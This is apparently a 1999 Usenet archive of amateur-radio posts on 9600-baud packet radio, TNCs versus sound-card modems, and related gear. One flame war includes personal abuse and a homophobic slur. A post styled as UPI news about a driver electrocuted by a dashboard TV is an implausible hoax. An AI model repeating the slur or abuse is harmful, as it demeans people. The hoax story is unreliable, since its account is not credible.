removing the problem with PM and PLL loop bandwidth (requiring
modulating the reference etc). Unfortunately it would increase the
required bandwidth, but since a direct modulator injection and
demodulator output would be required bypassing the audio stages
anyway, the main concern would be the receiver IF filter bandwidth,
which even might require a dropping of the data rate somewhat.

The first 9600 bit/s modems were a great technical achievement,
especially with the components available in those days.

Unfortunately they also set a de-facto standard, which in retrospect,
have proven to be a disaster from the network design point of view,
since this standard has reduced greatly the number of radios easily
adaptable for speeds larger than 1200 bit/s.

Source record: 19546

I agree with your summation. 9600 G3RUH modems were designed
for ground stations working a known receiver in a satellite. On the
ground, pointed at each other, they really have not been a boon to
Ham radio. In my opinion, 9600 is not that great an improvement on
1200. I think Kantronics had a great idea in the 19200 radio they
made (I still have two here), but it looks like they ran out of money
when they got to the oscillator design. It's just a horid looking thing
on the schematic, and proved to be a very good "drifter." Basically
they were designed to operate out of homes, not antenna sites.

But that would have been the next speed after 1200, that would have
jump-started packet radio. Alas, it died off without any better 19200
radios coming into the market. PacComm has some Tekk's
modified for 19200 and even higher. I think if Tekk would spend a
little money, they might be able to design a 15 to 20 watt model that
may even be able to cross the wide-open spaces.

Well, I did that (http://www.umn.edu/home/tjs/Radio/Transceiver.html).

What I appear to have found includes:

o The ICOMs consistently have long Tx/Rx and Rx/Tx turnaround times.
(Why is that?)

o Some Kenwood and Yaesu rigs have Tx/Rx and Rx/Tx turnaround times
well under 100 ms.

o QST isn't very consistent about reporting the result of bit error
rate tests, even though they claimed they would test BERs for all
rigs that claimed to be "9600 ready". (Why is that?)

o I don't believe that any of the BER results met QST's objectives.

>You're probably better off with the Mitrek than practically any of the
>currently-available synthesized radios.

Please define "better off".

Will a synthesized rig have longer turnaround times? OK, but even our 2M
9600 frequency doesn't appear at all busy, so wasting precious bandwidth
doesn't seem to be a strong argument. File transfers will be slower,
but most of the links off our 9600 bps repeater appear to be 1200 bps.
[Hopefully, slow turnaround times will _become_ a problem, but for now...]

Will I see higher error rates? (They are pretty high now, but that is
apparently the result of some other as-yet-undiagnosed problem.)

On the other hand, my throughput drops to zero for several weeks (until
I buy a new rig or more channel elements) if I want to use another
9600 bps repeater, (if I should find one....)

Motorola M75 Digital Cellular Phone

Unit is New has 99 alpha Number Storage Works with the AT&T PCS TDMA System
Comes with 2 battries
1 High Cap NMiH Battery & 1 Slim Line NICK Cadmium Battery
Wall Charger.
This Phone Has A Built In Rapid Charger.
SIG Adaptor

Also Comes with A Hands Free Kit witch will charge the battery
Provided with remote mic to put on your visor and a remote speaker
It also Provides an external antenna connector for inproved reception Asking
$300.00 For all or best offer

Possibly this is the answer to the previous question (as I recall, some
were close.)

>
>>You're probably better off with the Mitrek than practically any of the
>>currently-available synthesized radios.
>
>Please define "better off".

Performance, cost, etc (see below.)

>but most of the links off our 9600 bps repeater appear to be 1200 bps.
>[Hopefully, slow turnaround times will _become_ a problem, but for now...]

As the turnaround time increases, the throughput advantage of 9600 bps (or higher) over 1200 bps diminishes.

>
>On the other hand, my throughput drops to zero for several weeks (until
>I buy a new rig or more channel elements) if I want to use another
>9600 bps repeater, (if I should find one....)

Consider the PLL. If the bandwidth is high, it will switch frequencies quickly, resulting in a fast turnaround time. Unfortunately, this also allows the PLL to (partially) track out the modulation, resulting in errors.

If the bandwidth is low, the PLL will be less effective at tracking out the modulation, but the settling time when changing from transmit frequency to l.o. frequency will be increased.

Crystal-controlled direct-f.m. radios with a sufficient flat i.f. bandwidth are probably the best choice. The Mitrek (which requires very little modification) fits this model, and is often available for $50 or less, although the cost of crystalling a pair of channel elements will more than double this. This is still much less than the cost of a suitable multi-mode radio and I doubt that there are many areas where more than one 9600 bps repeater exists (although there often will be two or more simplex frequencies.) The TEKK is also a good data radio.

If one is interested in making a regen repeater, a pair of Mitreks would be a good choice (yes, you can duplex them, but I'd be hesitant to do that for a mountain top.)

There are a few synthesized radios which fix the oscillator frequency and modulate an offset oscillator to mix with the l.o. to derive the transmit frequency. As I recall, Azden once made such a radio for f.m.; multimode radios also do this. This approach should be capable of fast turnaround times with a low bit error rate, and as I recall when QST did publish BER test results, some of the multimode radios had the best numbers.

1001. Need some pointers...

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-23 00:00:00 UTC
From: Jason McMullan <jmcc@ontv.com>
Message-ID: <7auvab$2cr$1@butter.visus.com>
Source record: 19554

I'm looking for a wireless technology that fits these
parameters:

1) Not line-of-sight [ie radio, ultrasound, etc.]
2) 20Mbits/sec or better
3) Multiple transmitter/receiver pairs in a single
10 meter (or larger) radius

and, if possible, with increasing level of improbability ;^):

4) Ethernet-style packet protocol
(ie collisions result in random backoffs)
5) Antenna < 5" in maximum dimension
6) Surface-mountable chip(s) - total size < 1" square.
7) Low cost ($50 per TX/RX pair or less)

Any ideas?

Cross-posted to: rec.radio.amateur.antenna,rec.radio.amateur.digital.misc,rec.radio.amateur.equipment,rec.radio.amateur.homebrew,rec.radio.amateur.misc,rec.radio.amateur.policy

I need ADMS-1D or ADMS-1E to program my VX-1R. I have an older version of the software that I purchased a while ago. It was the first version and will not work with the VX-1R. I spoke with the company who makes it (not Yaesu) and they are willing to sell the upgrade to me.....for the same price I can purchase it new. That sucks. I already have the cable, I just need the version ADMS-1D or ADMS-1E.

Thanks,
Adam

>Think about interrupt processing load and context switch time.
>Then think about the other processor in the TNC (the HDLC chip).

Interrupt processing for reception of characters on an RS232 interface
is not simpler than on an HDLC chip. So, an SCC on a PC card will load
the PC about the same way as a TNC with KISS does.

Context switch time is of course not relevant in this comparison, it
weighs in the same for both solutions.

IMHO, an SCC card is a significantly better solution for packet on a PC
than a TNC in KISS mode. The load is about the same, and the control over
the protocol handling and timing is much better. KISS TNCs introduce
extra latency and uncontrollable amounts of buffering between the AX.25
engine and the channel.

No, they were designed for node interlinks with known transceivers
at each end. The packet satellite application appeared much later,
and there was no known receiver on the ground so the equalizer
problems also appeared there.

(some satellites had decent FM transmitters, others had a PLL and
are just as bad as "9600 ready" japanese designs)

Chuck, we'll have the companion software that decodes Wefax under Windows 95/98 and NT our before Dayton. It's called Wefax 99.

The wefax format the Kam uses is proprietary, so many third party utilities may not work with it.

try this:

want to have some fun with the local aprs network and just use your
tnc in terminal mode using basic terminal software?

setup your tnc as follows:

unproto - aprs via wide,wide
mon - off
conv

then type exactly in the following format:

:EMAIL<SP><SP><SP><SP>:towhom@whereever.net<SP>message text here{1
123456 7 8 9 10 ^ (second colon must be in
space #11)

<SP> is a space

the example above works. remember a space after the email address and

the message, no space after the
message and the "{" sign.

send an email or 2 to yourself to see if and how it works....cool
stuff!

Sorry, Jason! This newsgroup is intended to cover questions related to Amateur Radio. There are other newsgroups where wireless networking is discussed, and that's where you can expect to find good information on your project. You may get lucky here, but probably not, unless you are more interested in theory than in facts.

What would you do with the speed if you had it?

You do know how much bandwidth this would require?

With that kind of bandwidth you are talking 10 GHz or 24 GHz.

Would your application work in little point-point hops?

You will need a TWT to get big hops, and then you'll say the
Wireless LAN cards sure are cheap!

This does not sound right. RT Systems will upgrade you to their newest version
for twenty bucks - plus minimal charges for shipping. Are you really a
legitimate purchaser of their software?

Heck - I am two Updates behind - and RT Systems is upgrading me to the newest,
VX-5R-compatible ADMS-1E v2.0x version for only twenty bucks.

Well... I _am_ an amateur, and radio doesn't require line-of-sight...

[and don't tell me Ham packet radio ain't a digital network ;^]]

Anyhow, thanks for your time.

From: Ian Tickle <ian@tickly.freeserve.co.uk>
Message-ID: <7b186dqfr1@news8.svr.pol.co.uk>
Source record: 19574

I'm using a HP200lx palmtop with a new Kenwood TH-d7e handheld. Aprsdos
works fine on it for APRS, but what I want to know is, what's the best
packet terminal program (for BBS access, etc) you've tried with a HP200lx ?
I suppose any DOS program that would run on a XT, CGA graphics pc would fit
the job. What are people's view's ??

Regards,

Ian G4ZJH.

1022. Problem with Kam Plus

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-24 00:00:00 UTC
From: KD5CAS@iamerica.net
Message-ID: <36d425ed.500281320@news.iamerica.net>
Source record: 19575

I just bought a used Kam Plus v7.0. I've built the cables to connect to my HF rig (Icom 751A). The software I have is Pacterm v1.03. I am using my regular modem cable to connect the Kam to my PC.

On page G3 of the KAM PLUS GETTING STARTED manual, there are instructions for Initializing the Kam Plus. I have attemped several times to execute these steps. Each time I do so, the only message sent to the screen is the letter "z" followed by the square root symbol.

I don't believe that the computer is communicating with the Kam, even though the RTS and CTS indicators on the Pacterm screen are on.

The tuning indicator on the Kam is functioning correctly, according to the manua, when I tune the various HF digital signals. (the LED bargraph and the RECEIVE indicator both light up as described in the manual)

Got any ideas?

--Thanks!

I would like to operate digital modes on VHF/UHF as well as HF. I've been told that the KAM Plus is what I want to but. What experiences do people have with this? What else do I need (cables, software, etc.). I am new to this and would like to know how to go from having just the radio (Icom 706) to having a fully functional packet station.

Thanks,
Dan

Source record: 19578

Hi,

I have been searching the net to find information about setting up a DX Cluster in Columbia TN. Up until now, either my limited knowledge has prevented me from finding the information I need, or the questions I'm asking are wrong.

I'm thinking of using a KPC3 TNC with FlexNet, with Clusse Cluster software sitting on top. Will the KPC3 work with FlxNet? Does anyone have any experiance with FlexNet or BPQ and KPC3, or should I buy a different TNC? I can't find informtion about compatability.

Thanks for any advice.

Yep. I point out the fact that the Internet is not Ham Radio, for those who are not clever enough to differentiate between the two themselves. It's a nasty job, but obviously SOMEONE needs to do it.

>Using the TNC and keyboard to do CW is not REAL CW!

It's not manual keying, I'll give you that.

Dear Charles,

Thanks for that information. I thought the KPC was not compatible.

Your suggestion about a 16 Sound Card might be a good way to go. That
way I could get to know the software and then move to more hardware.
Also it would give me time to see if people would use the system without
too much money being spent.

I will keep you posted.

Sorry, but unless you are currently running a LandLine Lid station engaged in Internet Forwarding, you cannot be included in the LandLine Lid List.

If you can't be a LandLine Lid, you can achieve much the same effect by going around cutting Ham's coax and farting into the mike on your local repeater. I'm sure you would make a good Lid of one sort or another. -- If that's what you are determined to be.

Sorry, but the KPC-3 does not have adaptive parameters, or any provision for
adding that feature. As such, the KPC-3 has no way of performing as well as
a BayPak running with FlexNet.

Sorry, but the facts are the facts. The KPC-3 is a poor performer and
rather outdated, in comparasin.

>
>The Tigertronics modem claims the "lowest power consumption", but

If you put a battery in it.

As if "power consumption" was an issue, anyway. In my experience, very few
Hams spend much time worrying about how much power their TNC consumes. Some
nit-picking bozos with no real point to make bring it up from time to time,
though.

>

What, exactly is a "BBS paradigm"? Do you know?

What, exactly, would you suggest Hams use to move bulletins and personal
mail BY HAM RADIO other than packet BBS's? No "vapor-systems", please. Only
systems that actually exist and function, using Ham Radio.

Yes, I know of several. Those stations, of course, have nothing to do with the subject at hand, which perhaps is why you brought them up. Having nothing relevant to say, you just followed your usual custom of blathering like an idiot and wasting everyone's time.

Par for the course, I suppose. It seems the LandLine Lids not only have trouble differentiating between Ham Radio and the Internet, but also have trouble remembering the topic of discussion.

I can't say I'm surprised.

We are amused.

Actually, Charles, that is something that is worthy of the W6NUT
repeater. You can listen to it on RealAudio.... Oops, I guess that
would go against your dogma. Listening to a ham repeater over the
Interet. Oh, the humanity!

Well, to us Hams, the ability of Hams to use Radio is important. The ability of our fellow Hams to utilize Amateur Radio for their communications is also important. Sorry it means nothing more to you than a minor point about TNC power supplies does.

What a self-absorbed jerk you are! Don't you have any sense of pride as a Ham, or at least in yourself?

No need to answer. Your lack of pride and fellowship as a Ham is easy to see.

Since you've made it plain that you do not really care about Amateurs or Amateur Radio, maybe you should consider taking a hike. - But of course you won't because THAT would be the best thing you could do for Amateur Radio, and you've made it plain that you don't give a damn about Ham Radio, or it's welfare.

Pathetic wretch.

Early versions of the VX1R could not be programmed due to a problem with the radio. If you own an earlier version of the software, why not find out the serial number of the radio and give RT Systems a call? If your radio is programmable, RT sells the upgrade for $20.00 as stated in the other message.

Hi,
Has anyone ever modified a Tait Mariner II (marine VHF) FM Transceiver for use on two metre FM?

I have located one of these beasts at the very best price and I even have the service manual. Any advice would be appreciated.

The model number is T-530B/MA and the serial number is 744846.

Please help!

Murray ZL1BPU

1058. *Handheld* 9600 baud radios?

Newsgroup: rec.radio.amateur.digital.misc

Source record: 19584

Hello,

are there any *handheld* 2m and/or 70cm radios out there which are
suitable (or can be modified) for 9600 Baud operations? I know,
performance would probably not be very good (PLL cancelling modulation).
But I would be glad if it worked at least somehow.

Source record: 19585

Several ways to go here. Actually, you could avoid the need for a TNC altogether if you have a PC with a sound card, since there is software available to support most digital modes on PC hardware. But that option will require the collection of several individual pieces of software (some free, some not), compatible PC hardware, etc. Sometimes a TNC can be much easier for a beginner to set up and use.

If you want to go with a TNC, the Kam Plus is a good unit if you must have support for packet. You will quickly find that packet is a rather poor performer on HF frequencies, but modes such as RTTY, Pactor and G-Tor work quite well. There is also Pactor-II, which is arguably the king of the hill right now in terms of outright performance, but this mode requires relatively expensive ($1,000) DSP-based hardware and is only available form one manufacturer ar present. Newest on the scene is a mode called PSK, similar to RTTY in operation but uses a different modulation technique to provide excellent performance in poor signal conditions (but throughput is extremely low in this mode, making it primarily suitable for only keyboard-to-keyboard contacts). Price of PSK is certainly right as the software is currently free.

But if you want to get your feet wet in all modes then the Kam+ is hard to beat for the price, you can find used ones with current software in the $150-$200 range. The Kam+ is a dual-port unit and will require you to change connectors when moving from VHF/UHF to HF, you may find the Kam'98 a better choice to use with your IC-706 as that unit utilizes a single port and all switching is done in software (from the keyboard). The Kantronics units come with a simple software package, but any terminal program will work fine. If you want to spend a little more money there are several excellent aftermarket support programs that have some nifty features, but if you are on a budget a simple terminal program is all you really need.

I have necessarily left out a lot here, definitely get one of the several good books available that will explain all about the digital modes. The more you understand, the more fun you have!

Good luck and hope this helps,

- Seth N6BMB

The Kenwood TH-D7A, of course. There were some early radios which used an offset oscillator instead of switching the synthesizer (Tempo S1, IC-2A, etc.) These might be good candidates. Of course there are other factors than the PLL, such as i.f. phase linearity.

You know why most of the Internet Gateways aren't on that list?

Yes, that's correct, they don't have any affiliation with BBS's.

Cool.

The KPC-3 is useless for FlexNet. It is a proprietary design and as such it has no support for FlexNet.

A much better choice would be one of the 1.2kb "BayPak" modems from Tigertronics. (50 bux each)

Sell the KPC-3, use the money to buy the Tigertronics modem/modems.

You can also use a 16-bit SoundBlaster (or clone) as a TNC with FlexNet, and for single-port operation this works great at very lttle cost. See my webpage for setup info on using the soundcard.

For operation with two radio ports, the BayPak modems would be much better.

For more than two ports, look into using true TNC2 compatable TNC's (MFJ, Pac-Comm) running the "6-Pack" firmware upgrade which allows up to eight TNC's on one COM port.

Good luck! Let me know how it goes.

Yeah, the KPC-3 has a proprietary design, just like FlexNet! Oh my!

> A much better choice would be one of the 1.2kb "BayPak" modems from
> Tigertronics. (50 bux each)

Aren't these the "modem-only" widgets that hang off of a serial
port? The only reason these are "better" is that they are supported
by FlexNet. Otherwise, the KPC-3 is miles ahead for 1200-baud
operation.

The Tigertronics modem claims the "lowest power consumption", but
that's a joke; it is useless without a running computer attached.
A KPC-3, on the other hand, will happily run by itself, with
a power consumption under 50mW.

> Sell the KPC-3, use the money to buy the Tigertronics modem/modems.

Oh, that's *really* good advice, Charles.

Sheesh.

Hello Rob:

PK-88 firmware is available from Timewave Technology http://www.timewave.com
You can check the web page for price and availability.

The PK-88 is a TNC-2 clone so you can also use a TNC-2 firmware set, I think
that is in the public domain.

Thats like saying that embedded systems are useless because the technology has been around for 20 years. TCP/IP has been around that long too, so have modems. I wonder what he would call the bios on his CPU. The TNC is a very efficient device and its fundamental design is alive in all sorts of new technology. Moreover, it fits into the client/server model very well. It is one of the few devices in amateur radio that has a CPU. I think this guy is selling the BayCom type modems. The only reason I think you might want to use one would be cost. Used PC's are so cheap and capable that you could turn them into a TNC with a BayCom modem.

Hello Dan:

Rather than spend $395 for a new controller you might want to find a used
PK-232MBX Multi-mode controller. PK-232's are currently being serviced and
upgraded by Timewave Technology http://www.timewave.com

A used MBX runs between $125 and $175 on the used market. If you like the mode
then the PK-232MBX can be upgraded to the latest DSP front end technology for
$125, still way under the cost of new analog controllers. The advantage of the
DSP design is performance on weak signals and in crowed bands. The performance
of DSP designs is 2 orders of magnitude improvement in RTTY error rates over
the older analog controllers.

You should also look carefully at what radio you will be using, FSK operation
is the preferred mode.

Lastly, The PK-232/DSP running PK TERM 99 is Y2K (andY3K as far as we can see
:>)) ready.

Let me know if you have any other questions.

Hi all.

Anyone still doing 1200 baud packet on 70cm band in the
toronto/mississauga area (Canada that is)? I've just started and
haven't been able to hit any pbbs or nodes yet. I've only heard one
other station so far and that was an unsuccessful attempt to connect to
a node. You can find me at 441Mhz, the call is VE3SSQ.

> Thats like saying that embedded systems are useless because the
> technology has been around for 20 years. TCP/IP has been around that
> long too, so have modems.

I must assume you're referring to the comment of Cecil, W6RCA, in the portion of his original message that was quoted by the person I responded to. His statement that "TNCs are 25 year old technology" is certainly valid, since they've been around that long as I recall...

There's nothing in *MY* post that evaluates TNCs or anything else as useless. Perhaps there was in Cecil's ORIGINAL post, perhaps not - How about going back to read it and find out? You can reply to his post directly, and address your response to the correct individual! I'm sure he'd respond. Who knows, maybe after you've made HALF of the constructive input to this newsgroup as W6RCA has, your comments might carry HALF the weight.

> I wonder what he would call the bios on his CPU.

Well, if you're referring to ME... The last time I checked MY computer, my BIOS wasn't on my CPU, but a distinct chip on my motherboard - along with my CPU and many other chips. Until now, I'd never really thought about calling it anything... maybe I'll call it "George".

> The TNC is a very efficient device and its fundamental design is
> alive in all sorts of new technology. Moreover, it fits into the
> client/server model very well.

Well, at least we agree on something.

> It is one of the few devices in amateur radio that has a CPU.

Yes - as long as you eliminate all of our microprocessor-based
tranceivers, I guess. Even my 20-year-old ICOM R-70 receiver has a 4-bit
uPD650C in it.

> I think this guy is selling the BayCom type modems.

UH OH! You've found me out! I only posted the URLs for Baycom and
Tigertronics (both retail modems in assembled and/or kit form) as a smoke
screen to cover up my nefarious plans. The only reson I listed some
software resources in response to someone's request to do so was...
In hope of having people email me to ask if I'll build them a modem,
get a monopoly on packet modem sales, and use the profits to take over
the world!!! <--- place evil, maniacal laughter here --->

> The only reason I think you might want to use one would be cost.

Yes, construction, experimentation and research have no place in Amateur
Radio. Why go to all that bother when you can plug your manufactured TNC
into your manufactured radio with your store-bought cables? I'm sure the
evenings spent assembling, experimenting and learning could be better spent
studying your operators manual, and reviewing your warranty in case you
have to return your commercial unit for a fuse replacement or firmware
upgrade some time in the future.

> Used PC's are so cheap and capable that you could turn them into a TNC
> with a BayCom modem.

.. or turn them into higher-speed TNCs with the 'DXL modem (you'll
have to build it - I'm not in the business THERE either)... or turn
them into repeater controllers, simplex autopatch controllers, remote-base
controllers... or automate your home... or use one to run a home-built
security system... or use them for experimenting with a plethoria of
different digital modes and applications... NOW you've got the idea - put
down the user's manual and get started right away! - or you COULD move over
to news:rec.radio.amateur.equipment - where I'm sure you'd feel much more
at home ;->

I walked out of a TPRS "BBS SYSOP" meeting which turned out to be a LandLine Lid lecture, from lack of interest. I wasn't the only SYSOP to walk out on that "presentation", or even the first.

When I left the room, I saw two SYSOPs still in there, politely listening. Big audience, huh?

I suppose that after all the real BBS SYSOPs left, the roomful of LandLine Lids that remained must have had a good old-fashioned wank-fest.
Why is it, Steve, that so many LandLine Lids are queers? You can hang out with them if you like, but I've got better things to do, and better people to hang out with.

I suppose it's all a matter of personal taste and sexual orientation, Stevie-pooh.

I do not know...did you purchase any of the versions, and send in the
Registration Cards? Do you show up on RT Systems' computer as a registered
user of their software? Don't you already know?

Rob Kling wrote in message <36D604C3.87BB212E@home.com>...

>Used PC's are so cheap and capable that you could turn them into a TNC
>with a BayCom modem.

Or a regular old 16-bit soundcard. I bought a new one a few months back for 15 bucks. (SoundBlaster clone) Used ones can often be had for free.

Used 386 systems, monitor and all, can be had in the Dallas area for 50-80 bucks. Add a soundcard and some free software, and you end up with a really superior TNC.

1. Instead of a 128k mailbox, you can run a full-service BBS capable of storing thousands of bulletins
and messages as well as a file server, online Callbook, WP server, etc etc etc... There are dozens of special servers and add-on programs for packet BBS software, and most of the BBS programs can easily be set up for personal use as the "ultimate" packet term program. - Or you could run a full-service BBS if one is needed in your area, of course.

2. Instead of old 70's style static parameter systems still being used in TNC's today, you can utilize modern software featuring dynamic self-adjusting link parameters which in themselves will allow you more range and better throughput than a "TNC" could ever accomplish with the same radio and antenna. More sophisticated software = better performance.

3. Instead of having to program (burn) an EPROM in order to update your software, you simply load new software onto a HD from a floppy, ect. Instead of being more or less stuck with the little programs that can be crammed into an EPROM, you have the HD and memory of a computer to work with, allowing use of much more functional and sophisticated software.

4. Since the Packet computer/TNC has it's own monitor, keyboard, mouse, etc, there is no need to compromise your personal home computer's performance by unnecessary multitasking, or to "tie it up" in order to have your packet station online 24 hrs a day, 365 days a year.
TNC's have some capability independent of the computer, but very little of it. - The piddly little 128k mailboxes are about it all they can "do". With a dedicated computer/TNC you can monitor channel activity at a glance at any time. The old-style TNC's of course cannot do that by themselves.

Overview: Look this over, and you'll see that the two biggest advantages of a dedicated packet computer/TNC lie in it's flexibility as to what software you are running, and of course the price.. Compare the little programs they stick into TNC EPROMS with the hundreds of free Amateur Radio programs available for the PC, and you'll start to get an idea of what I am talking

about.

Unless you need a stand-alone unit for a packet node or some other specialized purpose, you'll find that you get a lot more "bang for the buck" out of an old 386 with a soundcard or BayPak modem than you could ever hope to get out of a TNC hooked up to your personal home computer. It does much more, does it better, costs less, upgrades much, much easier and puts you online 24/7 without tying up your home computer.

Note: Only regular TNC's have APRS capability. - Correct me if I'm wrong.

If the card supports DMA, then you can get down to interrupt per frame,
and that really unloads the PC. This is a good way to interface with the
host PC for higher rate data.

The cheapy zero crossing counting "modems", and sound cards doing DSP
on the host, can really eat CPU cycles, but today's PCs have those cycles
available in many cases. Most of the time, a single user PC is waiting for
a keypress or mouse click from the user, so it is just idling cycles anyway.
A heavily loaded multiuser machine is a different story, of course.

I would like to ask a question that some are goingto call a stupid one but hey!

Is there a way to connect a packet radio to a computer using the sound card instead of a TNC???

from the messages I have read, it appears to be so but I would like a more definative answer. Also, just how can this be accomplished???

thanks
\Pat

I'd call it the initial real mode cold boot code for the OS loader.
After that it is ignored since a competent operating system
talks directly to its hardware via the kernel drivers. The
BIOS is neither re-entrant, nor will it run in protected mode,
so it is virtually useless to a modern OS.

>The TNC is a very efficient device and its fundamental design is
>alive in all sorts of new technology. Moreover, it fits into the
>client/server model very well.

The main problem with the TNC paradigm is that it is loosely
coupled to the host. This introduces a number of latency and
channel control problems, unless you want your computer to
serve merely as a dumb terminal for the little Z80. A tighter
coupling to the host, bypassing the RS232 bottleneck, can
allow you to much more efficiently utilize both the machine's
resources, and the channel's resources. DMA HDLC cards
can do this, and in a different way, host based DSP utilizing
a sound card can do this too.

The client/server model of the TNC is very primitive. In the
days when a PC ran at 4.77 MHz, it did serve a useful purpose.
But that day is long gone. It now serves as a bottleneck.

>It is one of the few devices in amateur
>radio that has a CPU.

I suppose the CPUs in our radios don't count. :-)

> The only reason I think you might want to use one would be cost.
>Used PC's are so cheap and capable that you could turn them into a TNC
>with a BayCom modem.

You could, and it would likely be better than using the PC as a dumb
terminal to an external TNC. But the simple Baycom modem isn't
a very good modem. It'll suffice for strong signals at low speeds, but
it won't do for weak signals (there, host based DSP and a sound card
is better), and it won't do for higher speed signals (there, a RF modem
and a DMA HDLC card plugged into the host bus and providing interrupt
per frame work better).

Virtually the only time you'd want to use a TNC is if all you have is a dumb terminal to talk to it. In nearly every other case, you'll be better off using something with a tighter coupling to the host so that you can exploit the host's power, and the intimate connection to the channel, to more efficiently accomplish the communications task.

To equal those advantages with a TNC, the TNC would need to have the speed and memory of at least a low end PC, so that it can handle the entire protocol stack as a router, and have an ethernet interface to your host machine. But as has been pointed out, PCs are cheaper than dedicated hardware routers, so it makes sense to just use the PC in the first place, eliminating the bottleneck and expense of the TNC.

I don't spend much time worrying about obsolete BBS's. The current ones are interesting, though.

Packet BBS's will become obsolete when and if anything comparable ever shows up to replace them. So far, nothing of that sort has materialized. - Just "vapor systems" and "Amateur Telephone" from the Amateur tcpip community, niether of which addresses the functions a full-service Packet BBS performs.

I'm ready for packet BBS's to be replaced with something better - When and if something better comes along.

I suppose that they could use spark rigs and manual Morse. It wouldn't be much more obsolete a paradigm than the quaint BBS forwarding stations, modeled crudely on a NTS of decades past. (I suppose you're aware that the ARRL is currently considering dropping "Relay" from its name since message relay stations are an obsolete concept even in amateur radio.) But if you were less concerned about what hams did in the past, and more concerned about what they should be doing now and in the future with digital radio networks, you'd be looking at packet switched networks running actual network protocols which offer such background services as end to end news and email routing and delivery as well as interactive realtime distributed client/server functions.

Such internetworking protocols do exist, have been extensively field proven, and work over any moderately competent underlying communications infrastructure, radio, fiber, satellite,
or your dreaded wirelines, to tie together amateur radio LANs, or any other sort of packet switched networks. The technology is available (has been for well over a decade), and the software is available (likely you already have most of it), but you do have to get off your butt
and do some RF and system engineering, and some serious organizational work, to set up and run such networks. With your winning personality, and obvious interpersonal skills, that
should be a piece of cake for you.

The original poster said he was a programmer, didn't have a TNC, and
wondered what to do. I advised him to advance the state of the amateur
radio art instead of designing a new TNC and I said TNCs are obsolete.
Nothing wrong with being obsolete. 486-based PCs are obsolete but a
lot are still running. When I say "obsolete", I am speaking from an
development engineering standpoint. To the best of my knowledge,
no engineers are developing new hardware-only, op-amp filter, TNC
designs. There are much better ways of accomplishing the TNC
function nowadays for anyone willing to roll their own like
the original poster.

It has been held that the sending in of a registration card is not necessary in warranty or support cases. IMNSHO, all it does is get you on mailing lists that propagate like wildfire. Most of the time, I need nothing further from the manufacturer. In the small cases in which I DO need more from the manufacturer, I provide them with the necessary proof of ownership, if asked.

I have no gripe with RT Systems per se, except that I think they are WAY too paranoid in their copy protection scheme. Every time I defrag my hard drive, I have to reinstall the software. That torques me to no end. As soon as the Linux software is available, I'm switching.

Two Dead in Banfield Accident

PORTLAND (UPI) A freak accident on the Banfield this morning, at 92nd Street, was the result of a driver swerving to hit a dog. Fireman Dick Brown said the driver was apparently electrocuted and killed when the television he was watching broke open during the impact with the guard-rail. A witness rushed to help the driver and was also electrocuted and killed instantly. The witness (name withheld pending notification of next of kin) was thrown onto the freeway and run-over by another car, which resulted in several other minor accidents. A police spokeswoman said that there were no other injuries, but that "auto damage will probably be in the thousands when it's all said and done." Asked how many auto's were involved, she said: "We had six accidents working, with car parts strewn all over the west-bound lanes for about a half-mile." The driver, who's name has not been released, had a small television that he watched during his rush-hour commute from Gresham, and a device known as a "power inverter." This device converts the battery 12 Volts DC to 115 Volts AC. Brown said they had to use a pole designed for power line accidents to move the television to a seat in the car. He said the air bag evidently shattered the television, and the internal parts ended up in the mans lap. Brown said, "I just reached in and unplugged the television from his cigarette lighter jack, and we were able to free the body from the wreckage." Police Officer Mike Fang remarked that he "hadn□t seen that much blood and body parts being thrown around since his Army service in Iraq" concerning the witness who was run over. The Medical Examiner said it will take a few days for a positive identification.

My mistake... I forgot to mention the name of the PC-soundcard software I
am familiar with (FlexNet) and where to get info on using FlexNet with a
soundcard. (My Web-site, listed below)

Just push the "FlexNet" button, and go from there.

Good luck!

Sorry, I'm only interested in something practical and useful on a much
larger (global) scale. Insolated, isolated tcpip LANs are utterly useless in
this regard. My current interest is in HF multicast for this purpose, and
that's what I'm working with. If you know of something which can potentially
do the same thing better, be sure and let me know.

Wanna participate in testing HF multicast? I'll be looking for volunteers
for a test within a month or so, if all goes well with the software.

My definition of "obsolete" (and probably yours) is: If a product is
not worth spending the time/money to do a new design, given older
designs, then it is obsolete (from a product development) standpoint.
Auto manufacturers strive to obsolete their older designs every
three years. That certainly doesn't keep someone from driving
an obsolete 1992 Chevrolet.

I unpacked my college textbooks today (thanks a lot, Dick) to try to find a reference to Shannon's Law. One of my college texts was entitled, "Modulation and Coding in Information Systems" by Gordon M. Russell (Univ. of AZ), Prentice-Hall, 1962.

On pages 155-158, it has a good description of Shannon's Law. Here are a few quotes: "Any input signal variation of less than the square root of the noise power will not, on the average, be distinguishable from the noise. Any signal variation larger than that will probably be distinct."

"The total quantity of information which is possible to transmit can be increased by increasing the bandwidth, the S/N ratio, or the time required for transmission."

IMHO, anyone who disagrees with this certainly satisfies the definition of a "fool". (My definition of a fool is one who is too lazy to do an Internet search for "Shannon's Law". :-)

Let's see what Glen does not want repeated, and characterizes as a "rave":

>Nobody said it was a MAJOR issue, Chuckles. It's sort of a minor issue,
>actually. Sorta like your LandLine Lid vendetta.

Well, to us Hams, the ability of Hams to use Radio is important. The ability of our fellow Hams to utilize Amateur Radio for their communications is also important. Sorry it means nothing more to you than a minor point about TNC power supplies does.

What a self-absorbed jerk you are! Don't you have any sense of pride as a Ham, or at least in yourself?

No need to answer. Your lack of pride and fellowship as a Ham is easy to see.

Since you've made it plain that you do not really care about Amateurs or Amateur Radio, maybe you should consider taking a hike. - But of course you won't because THAT would be the best thing you could do for Amateur Radio, and you've made it plain that you don't give a damn about Ham Radio, or it's welfare.

Glen IS rather a pathetic wretch. Hangs out where Hams discuss thier hobby, so he can Troll anybody who suggest the "rave" that Hams use Radio. Sick puppy.

Repeaters, yes. Base stations, not unless there is a
properly licensed control operator at the base station. This
was ruled upon a LONG time ago.

>The trouble with this is that the FCC restricts what kind of
>conversation can take place on the two-meter band.

And every other ham band as well. So does international
communications law. Ham radio is not a common carrier where
"anything goes".

>If you use a repeater to, say, order a pizza, that is considered
>"commercial use" and the FCC can come down on you like a load of
>bricks.

Or a load of cheese. You are "beginning to see the light".

>Also, I'm not sure how security works on such repeater
>systems. How would I prevent someone else from using it to make
>a long-distance call?

That's the easy part. Digital or analog codes are permitted to
establish communication, and in fact the licensee/control
operator is required to ensure that unauthorized persons do not
access his/her station.

>One alternative might be to use the FRS band, since that is less
>regulated and offers some kind of rudimentary security. The
>trouble with that is, I don't know of any FRS radios with DTMF
